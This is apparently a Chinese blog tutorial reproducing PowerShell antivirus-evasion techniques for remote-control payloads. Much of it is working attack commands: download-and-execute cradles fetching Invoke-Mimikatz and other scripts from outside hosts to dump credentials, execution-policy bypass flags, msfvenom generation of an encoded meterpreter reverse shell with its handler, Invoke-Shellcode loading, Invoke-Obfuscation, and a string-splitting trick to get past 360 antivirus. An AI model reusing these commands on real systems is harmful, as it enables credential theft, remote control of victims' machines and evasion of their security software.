powershell实现免杀(复现)
powershell实现免杀(复现)
本篇为远控免杀从入门到实践(6)-代码篇-Powershell复现篇
基础知识
UNIX系统一直有着功能强大的壳程序(shell),Windows PowerShell的诞生就是要提供功能相当于UNIX系统的命令行壳程序(例如:sh、bash或csh),同时也内置脚本语言以及辅助脚本程序的工具,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。
powershell具有在硬盘中易绕过,内存中难查杀的特点。一般在后渗透中,攻击者可以在计算机上执行代码时,会下载powershell脚本来执行,ps1脚本文件无需写入到硬盘中,直接可以在内存中执行。
版本目录
powershell只能针对win7之后的系统,之前的win操作系统默认没有安装powershell。不同架构的payload(x86或x64)需要不同版本的powershell来加载,否则会出错。
64位所在目录:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
32位所在目录:
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
执行方式
- 网络环境直接执行代码
无文件写入,相对较为隐蔽。下面代码为加载远程脚本Invoke-Mimikatz.ps1
,执行Mimikatz的DumpCreds功能。
powershell "IEX (New-Object Net.WebClient).DownloadString('http://10.211.55.2/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
- 本地执行
先把http://10.211.55.2/Invoke-Mimikatz.ps1
下载到本地
然后导入powershell Import-Module .\Invoke-Mimikatz.ps1
使用命令Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"'
或者Invoke-Mimikatz -DumpCreds
执行策略
查看执行策略powershell Get-ExecutionPolicy
Unrestricted 权限最高,可以不受限制执行任意脚本
Restricted 默认策略,不允许任意脚本的执行
AllSigned 所有脚本必须经过签名运行
RemoteSigned 本地脚本无限制,但是对来自网络的脚本必须经过签名
Bypass 没有任何限制和提示
Undefined 没有设置脚本的策略
绕过执行策略执行大概有以下几种:
1.本地读取然后通过管道符运行
powershell Get-Content 1.ps1 | powershell -NoProfile -
2.远程下载并通过IEX运行脚本
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://47.94.80.129/ps/a.ps1')"
3.Bypass执行策略绕过
powershell -ExecutionPolicy bypass -File ./a.ps1
不会显示警告和提示
4.Unrestricted执行策略标志
powershell -ExecutionPolicy unrestricted -File ./a.ps1
当运行一个从网上下载的未签名的脚本时,会给出权限提示
需要解释的是:
Invoke-Expression(IEX的别名):用来把字符串当作命令执行。
WindowStyle Hidden(-w Hidden):隐藏窗口
Nonlnteractive(-NonI):非交互模式,PowerShell不为用户提供交互的提示。
NoProfile(-NoP):PowerShell控制台不加载当前用户的配置文件。
Noexit(-Noe):执行后不退出Shell。
EncodedCommand(-enc): 接受base64 encode的字符串编码,避免一些解析问题
powershell加载shellcode
msf-ps1本地执行
加入shikata_ga_nai编码的ps1脚本生成payload:
msfvenom -p windows/x64/meterpreter/reverse_https -e x86/shikata_ga_nai -i 20 -b '\x00' lhost=192.168.211.147 lport=3333 -f psh -o shell3.ps1
将shell.ps1拷贝到目标机上,执行
powershell.exe -ExecutionPolicy Bypass -NoExit -File shell.ps1
msf:
use exploit/multi/handler
set payload /windows/x64/meterpreter/reverse_https
set LHOST ip
set LPORT
run
实际效果不佳,还是会报警
增加编码次数还是会报警
Invoke-Shellcode加载
IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1")
IEX(New-Object Net.WebClient).DownloadString("http://192.168.211.147:1337/shell3.ps1")
Invoke-Shellcode -Shellcode ($buf) -Force
实际中用powershell执行远程下载或执行shellcode时,容易触发杀软行为规则
Invoke-Obfuscation
加载Invoke-Obfuscation:
在powershell中执行Import-Module .\Invoke-Obfuscation.psd1; Invoke-Obfuscation
选择免杀文件:
set scriptpath
选择编码方式:
encoding
输出免杀文件:
免杀成功
msf成功上线
ps1行为免杀
对于IEX这种方便快捷的方式直接运行会被360拦截。可尝试从语法上简单变化。主要是对DownloadString、http做一些处理。
比如利用replace替换函数,可以bypass。
powershell -NoExit "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://10.211.55.2/shell.ps1'')'.Replace('123','adString');IEX ($c1+$c2)"
此payload已经被杀,需要根据实际进行更改
总结
复现Tide安全团队的免杀篇,目前基于静态特征免杀和一部分行为免杀,其他免杀方式将在后续陆续学习